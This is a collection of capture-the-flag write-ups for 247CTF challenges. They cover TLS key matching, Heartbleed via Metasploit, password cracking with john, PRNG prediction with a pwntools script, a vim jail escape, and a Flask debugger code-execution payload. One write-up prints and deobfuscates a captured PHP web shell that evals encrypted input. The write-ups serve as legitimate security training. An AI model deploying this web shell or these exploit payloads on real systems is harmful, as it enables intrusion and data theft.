Hello Navi

note and sharing

Given many private keys, identify which one corresponds to a TLS connection captured in a PCAP file.

Vulnerability

The TLS certificate in the handshake reveals the public key (modulus). By comparing the public key's modulus with all available private keys, the correct one can be identified.

Solution

Step 1: Extract the Certificate from PCAP

Analyze the PCAP file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
tshark -r encrypted.pcap
1 0.000000 172.17.0.3 → 172.17.0.2 TCP 74 39618 → 8443 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM TSval=1540683717 TSecr=0 WS=128
2 0.000020 172.17.0.2 → 172.17.0.3 TCP 74 8443 → 39618 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM TSval=2839138450 TSecr=1540683717 WS=128
3 0.000053 172.17.0.3 → 172.17.0.2 TCP 66 39618 → 8443 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=1540683717 TSecr=2839138450
4 0.011354 172.17.0.3 → 172.17.0.2 TLSv1 186 Client Hello
5 0.011372 172.17.0.2 → 172.17.0.3 TCP 66 8443 → 39618 [ACK] Seq=1 Ack=121 Win=29056 Len=0 TSval=2839138461 TSecr=1540683728
6 0.011884 172.17.0.2 → 172.17.0.3 TLSv1.2 1046 Server Hello, Certificate, Server Hello Done
7 0.011928 172.17.0.3 → 172.17.0.2 TCP 66 39618 → 8443 [ACK] Seq=121 Ack=981 Win=31232 Len=0 TSval=1540683729 TSecr=2839138461
8 0.012436 172.17.0.3 → 172.17.0.2 TLSv1.2 384 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
9 0.015465 172.17.0.2 → 172.17.0.3 TLSv1.2 117 Change Cipher Spec, Encrypted Handshake Message
10 0.015676 172.17.0.3 → 172.17.0.2 TLSv1.2 289 Application Data
11 0.016161 172.17.0.2 → 172.17.0.3 TLSv1.2 145 Application Data, Encrypted Alert
12 0.016381 172.17.0.3 → 172.17.0.2 TLSv1.2 97 Encrypted Alert
13 0.016847 172.17.0.2 → 172.17.0.3 TCP 66 8443 → 39618 [FIN, ACK] Seq=1111 Ack=693 Win=31104 Len=0 TSval=2839138466 TSecr=1540683733
14 0.017436 172.17.0.3 → 172.17.0.2 TCP 66 39618 → 8443 [FIN, ACK] Seq=693 Ack=1112 Win=31232 Len=0 TSval=1540683734 TSecr=2839138466
15 0.017446 172.17.0.2 → 172.17.0.3 TCP 66 8443 → 39618 [ACK] Seq=1112 Ack=694 Win=31104 Len=0 TSval=2839138467 TSecr=1540683734

sudo python scrapy2.py
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https S
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 SA
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https A
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 A
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https A
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 FA
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https FA
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 A
None

In the TLSv1.2 handshake, the server sends its X.509 certificate containing the RSA public key. In RSA, the public and private keys share the same modulus (N).

Step 3: Match the Modulus Against Available Keys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
import glob
import os

from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateKey, RSAPublicKey
from scapy import dadict
from scapy.all import *
from scapy.all import Raw, load_layer, rdpcap
from scapy.layers.inet import IP, TCP
from scapy.layers.tls.all import TLS
from scapy.layers.tls.cert import Cert
from scapy.layers.tls.handshake import TLSCertificate

PCAP_FILE = "/home/kita/Downloads/encrypted.pcap"
KEYS = "/home/kita/Downloads/keys/"

load_layer("tls")


def find_cert(pcap_path):
packets = rdpcap(pcap_path)
cert_list = []

for pkt in packets:
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
tls_parsed = TLS(raw)
tls_cert_layer = tls_parsed.getlayer(TLSCertificate)
if tls_cert_layer:
print("[-] Found TLS Certificate.")
cert = tls_cert_layer.certs
for _, x509_wrapper in cert:
cert_list.append(x509_wrapper)
print("[-] Extracted a TLS Certificate.")
else:
print("[-] Found TLS packet.")
except Exception as e:
print(f"[-] Error: {e}")
continue
return cert_list


def find_matching_private_key(target_modulus: int, keys_directory: str) -> str | None:
print(f"[*] Searching for matching private key in {keys_directory} ...")

for key_file in glob(os.path.join(keys_directory, "*")):
try:
with open(key_file, "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None, backend=default_backend()
)

# 类型守卫
if isinstance(private_key, rsa.RSAPrivateKey):
priv_modulus = private_key.private_numbers().public_numbers.n
if priv_modulus == target_modulus:
print(f"[!] BINGO! Matching key found: {key_file}")
return key_file
except Exception:
pass # 静默忽略无法解析的非私钥文件

print("[-] No matching key found.")
return None


def get_modulus(cert_list):
for cert_obj in cert_list:
assert isinstance(cert_obj, Cert)
pubkey_bytes = cert_obj.pubKey.der

try:
public_key = serialization.load_der_public_key(pubkey_bytes)

if not isinstance(public_key, rsa.RSAPublicKey):
print("[-] Not an RSA public key.")
continue

# 3. 提取 Modulus (N)
return public_key.public_numbers().n

except ValueError as e:
print(f"[-] Failed to parse public key: {e}")
return None


if __name__ == "__main__":
cert_list = find_cert(PCAP_FILE)
print(cert_list)
modulus = get_modulus(cert_list)
print(modulus)

if modulus:
key_path = find_matching_private_key(modulus, KEYS)
print(key_path)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[-] Found TLS packet.
[-] Found TLS Certificate.
[-] Extracted a TLS Certificate.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS packet.
[[X.509 Cert. Subject:/C=US/O=247CTF/OU=net100/CN=127.0.0.1, Issuer:/C=US/O=247CTF/OU=net100/CN=127.0.0.1]]
24375337507354185617683779511918376432395633773833258410072584644021662441320894249037929602005866714516839751200216248045601121213022308135749564
91609032233051031378930201187873763500714123864260833067479968749121983638063505159497973513991377893076048230462912746389410409597739323192173371
69352194568205311849666985699263435298267316799837036996611272681669761306553432625513191541491177379341952990725045599588244319236967795618294845
60357990470602203287915925979746025998473724658331937707347236978200912995652850373393105186043638902549716830185403626256394732792288094019164336
124309631409843886613660844833927
[*] Searching for matching private key in /home/kita/Downloads/keys/ ...
[!] BINGO! Matching key found: /home/kita/Downloads/keys/518dfdb269ef17a932a893a63630644c.key
/home/kita/Downloads/keys/518dfdb269ef17a932a893a63630644c.key

[Process exited 0]

Step 4: Import Key into Wireshark

Open Wireshark → Preferences → RSA Keys → Import the matching key to decrypt the TLS traffic.

247CTF{3693df4d4c007662b7131e7b94c9e9c3}

A webserver is storing sensitive data in memory. Exploit a known vulnerability to read it.

Vulnerability

Heartbleed (CVE-2014-0160) - A critical vulnerability in OpenSSL that allows reading server memory without authentication. The vulnerability exploits the TLS heartbeat mechanism to leak sensitive information including private keys, session tokens, user data, and flags.

Solution

Use Metasploit's Heartbleed scanner module:

1
2
3
4
5
6
msfconsole
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 95fe58ed8b8d1ce7.247ctf.com
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 50326
...
msf auxiliary(scanner/ssl/openssl_heartbleed) > run

The module will dump server memory, which contains the flag.

Flag

247CTF{4ba37501598f5687d266a8d127c4badf}

Decrypt an OpenSSL-encrypted file. The file was encrypted with openssl enc using a password.

Vulnerability

OpenSSL's enc command uses EVP_BytesToKey for password derivation, which is relatively weak compared to modern key derivation functions. Common passwords can be cracked with a good wordlist.

Solution

Step 1: Identify the encryption

1
2
file encrypted_flag.enc
encrypted_flag.enc: openssl enc'd data with salted password

Step 2: Convert to crackable format

1
openssl2john encrypted_flag.enc > hash

Step 3: Crack the password

1
2
3
john hash --wordlist=rockyou.txt
john --show hash
encrypted_flag.enc:*7¡Vamos!

Step 4: Decrypt

1
openssl enc -d -aes-256-cbc -in encrypted_flag.enc -pass pass:"Vamos!" -out flag

Flag

247CTF{flag_content_here}

Guess a random number to win the flag lottery. The server generates the winning number using a seeded PRNG.

Vulnerability

The server seeds the random number generator with the current Unix timestamp, which is predictable. Additionally, Python 2 and Python 3 have different PRNG implementations and string conversion behaviors.

Solution

The server code is vulnerable because:

  1. Predictable seed: Unix timestamp is public knowledge
  2. Time window: Even if time is slightly off, we can try nearby timestamps
  3. Version differences: Python 2's str() truncates floats, making predictions consistent

Use Python 2 to generate predictions for timestamps around the server's current time:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import subprocess
import time
from pwn import *

host = "13721472f3c35e88.247ctf.com"
port = 50316
context.log_level = "error"

# Try timestamps within a ±10 second window
for offset in range(0, 10):
r = remote(host, port)
prompt = r.recvline()

target_time = int(time.time()) + offset

# Generate number using Python 2 seeding
cmd = ["python2", "get_legacy_random.py", str(target_time)]
payload = subprocess.check_output(cmd).decode().strip()

print(f"[*] Predicting for time {target_time} (offset +{offset}s): {payload}")

r.sendline(payload.encode())
response = r.recvall().decode()

if "247" in response:
print(f"[SUCCESS] {response.strip()}")
r.interactive()
break
else:
print(f"[-] Failed: {response.strip()}")
r.close()

Helper script (get_legacy_random.py):

1
2
3
4
5
6
7
import random
import sys

target_time = int(sys.argv[1])
secret = random.Random()
secret.seed(target_time)
print str(secret.random())

Key Insight

PRNGs seeded with time are not cryptographically secure. Use secrets or os.urandom() for security-sensitive randomness. Additionally, always be aware of version-specific differences in language implementations when predicting values.

Flag

247CTF{3c435fe8a89cb0c65fdfcf0089669808}

Escape a text editor jail and execute code to retrieve the flag.

Vulnerability

The web text editor uses vim commands. Vim's :!command syntax can execute arbitrary shell commands, breaking out of the restricted environment.

Solution

Use vim's command execution to escape the jail:

1
:!bash

This opens a bash shell where you can execute programs:

1
2
3
bash-4.3$ ls
run_for_flag
bash-4.3$ ./run_for_flag

Flag

247CTF{c69287be15653ac9ab47dcd3f2fcd8fa}

Challenge Description

1
2
3
Our web server was compromised again and we aren't really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?

我们的网络服务器再次遭到入侵,我们不太清楚攻击者的具体意图。幸运的是,我们只使用HTTP协议,并且在攻击期间成功捕获了网络流量!你能看出攻击者的意图吗?

Tools Used: Wireshark, Scapy, Python3


1. Initial Traffic Discovery

We start by analyzing the PCAP file to identify interesting HTTP interactions. Using a simple Scapy script, we can filter for 200 OK responses to see what the server was returning.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from scapy.all import *

PCAP_FILE = "web_shell.pcap"

packages = rdpcap(PCAP_FILE)
for i, p in enumerate(packages):
if p.haslayer(Raw):
raw = p[Raw].load
if b"200 OK" in raw:
try:
print(f"[*] Packet {i+1} | Length: {len(raw)}")
print(raw.decode())
print("-" * 20)
except:
continue

In the output, we notice a file upload form and a confirmation that owned.php was uploaded:

1
2
3
4
5
6
7
8
9
10
11
12
[*] Packet 16640
HTTP/1.1 200 OK
...
<body>
<form enctype="multipart/form-data" action="uploader.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</body>
</html>
The file owned.php has been uploaded

Checking the preceding packets (around index 16638), we find the content of the uploaded owned.php.


2. Analyzing the Malicious Web Shell

The uploaded file owned.php contains an obfuscated PHP script.

1
2
3
4
5
6
7
8
9
10
<?php
$d=str_replace('eq','','eqcreaeqteeq_fueqnceqtieqon');
$C='{[Z$o.=$t[Z{$i}^$k{$j};[Z}}return [Z$[Zo;}if (@preg_[Zmatc[Zh("[Z/$[Zkh(.+)$kf[Z/",@file[Z_ge[Z[Zt_conten[Zts("p[Z[Zh';
$q='Z[Z,$k){$c=strlen($k);$l=s[Ztrlen([Z$t);$[Z[Zo="";for[Z($i=0;$i<$[Zl;){for[Z($j=0[Z;($j<[Z[Z$c&&$i<$l[Z[Z);$j[Z++,$i++)';
$O='$k="8[Z1aeb[Ze1[Z8";$kh="775d[Z4[Zf83f4e0";[Z$kf=[Z"0120dd0bcc[Zc6[Z";$p="[ZkkqES1eCI[ZzoxyHXb[Z[Z";functio[Zn x[Z($t[';
$Z='[Zet_conte[Znts()[Z;@ob_end_clean();$r=[Z@b[Zase64_enco[Zde(@x([Z@gzco[Z[Z[Zmpress($o),$k));pri[Znt[Z("$[Zp$kh$r$kf");}';
$V='p://input"),$m)[Z==1) {@ob_[Zst[Zart();@e[Zval(@gzun[Zcom[Zpress(@x[Z(@base[Z64_de[Zc[Zode($m[1])[Z,$k)));$[Zo[Z=@ob_[Zg';
$v=str_replace('[Z','',$O.$q.$C.$V.$Z);
$W=$d('',$v);$W();
?>

By removing the noise (replacing [Z and eq), we can reconstruct the logic. It's a sophisticated web shell (similar to Behinder or Godzilla) that uses XOR encryption and Zlib compression for C2 traffic.

Deobfuscated Logic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$k = "81aebe18"; // XOR Key
$kh = "775d4f83f4e0"; // Header Marker
$kf = "0120dd0bccc6"; // Footer Marker
$p = "kkqES1eCIzoxyHXb"; // Response Prefix

function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o .= $t{$i}^$k{$j};
}
}
return $o;
}

if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
// Decrypt: Base64 -> XOR -> Zlib Uncompress -> Eval
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
// Encrypt: Zlib Compress -> XOR -> Base64
$r = @base64_encode(@x(@gzcompress($o), $k));
print("$p$kh$r$kf");
}

3. Decrypting C2 Traffic

Now that we have the key (81aebe18) and the protocol markers, we can decrypt the subsequent traffic. We notice the attacker is executing commands like ls and xxd to read a file named y_flag_here.txt one byte at a time.

Example of a decrypted request: chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s31 ../y_flag_here.txt 2>&1');


4. Automated Flag Reconstruction

To get the full flag, we need to iterate through all packets, decrypt the requests to find the offset (-s parameter in xxd), and decrypt the responses to find the hex value of the character at that offset.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
"""
Scapy HTTP/Webshell Traffic Analyzer
------------------------------------
A specialized utility for extracting and decrypting payloads from PCAP files,
targeting traffic typical of PHP webshells (e.g., Behinder, AntSword).
Includes logic for XOR decryption, Zlib decompression, and flag assembly.
"""

import base64
import re
import urllib.parse
import zlib

from scapy.all import *

# --- Configuration & Constants ---
PCAP_FILE = "/home/kita/Downloads/web_shell.pcap"

# Cryptographic Keys (Typical for Behinder/Godzilla style webshells)
KEY = b"81aebe18"
KH = b"775d4f83f4e0" # Header marker
KF = b"0120dd0bccc6" # Footer marker
KP = b"kkqES1eCIzoxyHXb" # Response prefix

# Global state for flag extraction
flag_data = {} # Maps offset -> character
current_offset = -1

# --- Logic Functions ---


def decrypt_payload(b64_data):
"""
Decrypts a payload using the sequence: URL Decode -> Base64 -> XOR -> Zlib.
"""
try:
# 1. URL Decode
clean_data = urllib.parse.unquote_to_bytes(b64_data)

# 2. Fix Base64 padding if necessary
clean_data += b"=" * (-len(clean_data) % 4)
decoded = base64.b64decode(clean_data)

# 3. XOR Decryption
k_len = len(KEY)
xored = bytearray(a ^ KEY[i % k_len] for i, a in enumerate(decoded))

# 4. Zlib Decompression
return zlib.decompress(xored).decode("utf-8", errors="ignore")
except Exception as e:
return f"[!] Decryption Error: {e}"


def extract_flag_fragment(raw_text):
"""
Parses decrypted output to identify flag fragments extracted via 'xxd'.
Expects 'xxd -p -l1 -s[offset]' in request and 2-char hex in response.
"""
global current_offset
raw_text = raw_text.strip()
if not raw_text:
return

# Match Request: Extract offset from xxd command
if "xxd -p -l1 -s" in raw_text:
match = re.search(r"-s(\d+)", raw_text)
if match:
current_offset = int(match.group(1))

# Match Response: If we have an offset, convert hex response to char
elif current_offset != -1 and re.match(r"^[0-9a-fA-F]{2}$", raw_text):
try:
char = bytes.fromhex(raw_text).decode("utf-8")
flag_data[current_offset] = char
print(
f"[\033[92m+\033[0m] Fragment Found: Offset {current_offset:02} -> '{char}'"
)
except Exception as e:
print(f"[-] Decode error: {e}")
finally:
current_offset = -1


def process_pcap(packets, regex):
"""Iterates through packets, searching for encrypted payloads via regex."""
print(f"[*] Analyzing {len(packets)} packets...")

for i, p in enumerate(packets):
if p.haslayer(Raw):
raw_payload = p[Raw].load
match = re.search(regex, raw_payload)
if match:
decrypted = decrypt_payload(match.group(1))
print(f"[*] Packet {i + 1} matched.")
# print(f"Raw: {match.group(1)[:50]}...") # Debug
print(f"Decrypted: {decrypted}")

extract_flag_fragment(decrypted)
print("-" * 30)


def print_final_flag():
"""Sorts fragments by offset and prints the assembled flag."""
if not flag_data:
print("\n[-] No flag fragments found in the analyzed packets.")
return

sorted_chars = [flag_data[k] for k in sorted(flag_data.keys())]
final_flag = "".join(sorted_chars)

print("\n" + "=" * 40)
print("\033[93m[*] FINAL ASSEMBLED FLAG:\033[0m")
print(f"\033[96m{final_flag}\033[0m")
print("=" * 40 + "\n")


# --- Debug Utilities ---


def check_packet_by_content(packets, content):
"""Heuristic search for specific raw bytes in a PCAP."""
for i, p in enumerate(packets):
if p.haslayer(Raw) and content in p[Raw].load:
print(f"[*] Content found in Packet {i + 1}")
print(p[Raw].load.decode(errors="ignore"))


# --- Main Execution ---

if __name__ == "__main__":
try:
# Load necessary layers
load_layer("tls")

# Load PCAP
pkts = rdpcap(PCAP_FILE)

# Regex to capture content between specific webshell markers
payload_regex = KH + b"(.+?)" + KF

# Execute analysis
process_pcap(pkts, payload_regex)
print_final_flag()

except FileNotFoundError:
print(f"[-] Error: PCAP file not found at {PCAP_FILE}")
except Exception as e:
print(f"[-] Fatal error: {e}")

Result

Running the script assembles the flag from the fragmented xxd exfiltration.

Flag

247CTF{56485cc07ac3d0bf97b3022a2f97248c}

Find a bug and trigger an exception in a Flask web application to access the debug console.

Vulnerability

Flask debug mode with DebuggedApplication and evalex=True allows interactive code execution through the debugger console. The calculator endpoint accepts division operations and lacks proper exception handling.

Solution

Step 1: Trigger an Exception

Send a division by zero request to the calculator:

1
https://9894a61910fb83f2.247ctf.com/calculator?number_1=1&number_2=0&operation=%2f

Step 2: Execute Arbitrary Python

The debug console opens. Execute commands to read the flag:

1
2
>>> __import__('os').popen('cat ./flag.txt').read()
'247CTF{0e310979093ef6309adcbcb418145200}\n'

Key Insight

Never enable Flask debug mode in production. The Werkzeug debugger with evalex=True provides a complete interactive Python console, allowing arbitrary code execution with the web server's privileges.

Flag

247CTF{0e310979093ef6309adcbcb418145200}